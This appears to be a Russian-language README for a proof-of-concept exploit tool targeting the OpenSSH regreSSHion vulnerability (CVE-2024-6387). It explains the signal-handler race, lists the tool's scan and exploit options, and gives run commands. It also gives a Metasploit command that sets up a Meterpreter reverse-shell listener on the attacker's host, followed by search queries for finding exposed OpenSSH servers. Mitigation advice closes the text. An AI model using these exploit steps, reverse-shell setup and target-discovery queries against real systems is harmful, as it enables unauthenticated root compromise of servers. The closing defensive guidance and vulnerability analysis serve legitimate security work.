
Уязвимость удалённого неаутентифицированного выполнения кода в сервере OpenSSH (CVE-2024-6387)
CVE-2024-6387.py - PoCЭксплойт работает ТОЛЬКО для 32-битных OpenSSH-серверов. Это связано с тем, что PoC использует 32-битные указатели! Также известно, что некоторые версии уже пропатчены, и не каждый сервер уязвим. Протестировано на: Kali Linux, ParrotSec, Ubuntu 22.04
Удалённое неаутентифицированное выполнение кода в сервере OpenSSH
CVE-2024-6387.py — это лёгкий и эффективный инструмент, предназначенный для выявления серверов, работающих на уязвимых версиях OpenSSH, с особым акцентом на недавно обнаруженную уязвимость regreSSHion (CVE-2024-6387). Этот скрипт обеспечивает быстрое сканирование множества IP-адресов, доменных имён и CIDR-диапазонов для обнаружения потенциальных уязвимостей и обеспечения безопасности вашей инфраструктуры.
В сервере OpenSSH (sshd) была обнаружена гонка (race condition) в обработчике сигналов: если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию, 600 в старых версиях OpenSSH), обработчик SIGALRM в sshd вызывается асинхронно. Однако этот обработчик сигнала вызывает различные функции, которые не являются async-signal-safe, например syslog().
Технические подробности можно найти здесь.
Ошибка, обнаруженная исследователями Qualys в мае 2024 года и получившая идентификатор CVE-2024-6387, вызвана гонкой в обработчике сигналов в sshd, которая позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код с правами root.
«Если клиент не проходит аутентификацию в течение LoginGraceTime секунд (120 по умолчанию), обработчик SIGALRM в sshd вызывается асинхронно и вызывает различные функции, которые не являются async-signal-safe»,
«Удалённый неаутентифицированный злоумышленник может воспользоваться этой ошибкой для выполнения произвольного кода с правами root».
Требование: актуальная версия python3
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Всё, что вам нужно сделать, — сначала выполнить приведённую ниже команду (заменив {yourip} на ваш IP-адрес), а затем запустить эксплойт с помощью приведённой выше команды
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Инструмент выводит в консоль результаты с цветовой кодировкой для лучшей читаемости:
Зелёный: успешное подключение или операция. Красный: ошибка подключения или сбой. Жёлтый: предупреждения или важная информация. Голубой: общая информация или обновления статуса.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessУправление обновлениями: Своевременное применение доступных обновлений для OpenSSH критически важно для закрытия окна уязвимости. Своевременная установка патчей гарантирует, что известные эксплойты не смогут быть использованы против ваших систем, тем самым сокращая возможности для злоумышленников.
Усиленный контроль доступа: Ограничение SSH-доступа с помощью сетевых средств контроля добавляет дополнительный уровень защиты. Этот подход минимизирует подверженность риску со стороны потенциальных злоумышленников, ограничивая SSH-подключения только авторизованными сетями или IP-адресами. Такие меры, как правила межсетевого экрана или использование VPN для безопасного доступа, могут эффективно обеспечить соблюдение этих ограничений.
Сегментация сети: Разделение сети на сегменты помогает сдержать последствия возможного взлома. Изолируя критические системы и конфиденциальные данные от менее важных частей сети, вы снижаете риск горизонтального перемещения злоумышленников. Такая сегментация может быть дополнена строгим контролем доступа и мониторингом для обнаружения и реагирования на любые несанкционированные попытки проникновения в эти сегменты.
Системы обнаружения вторжений (IDS): Развёртывание систем обнаружения вторжений (IDS) или предотвращения вторжений (IPS) обеспечивает мониторинг сетевого трафика и системных журналов в реальном времени. Эти системы могут обнаруживать подозрительную активность и потенциальные попытки эксплуатации, связанные с уязвимостью regreSSHion. Оповещения, генерируемые такими системами, позволяют оперативно проводить расследование и устранять угрозу до того, как будет нанесён значительный ущерб.
Мониторинг попыток эксплуатации: Непрерывный мониторинг сетевых и системных журналов имеет решающее значение. Обращайте внимание на любые необычные закономерности или действия, которые могут указывать на попытку эксплуатации уязвимости OpenSSH. Такой упреждающий подход помогает выявлять угрозы и реагировать на них до того, как они смогут нанести вред.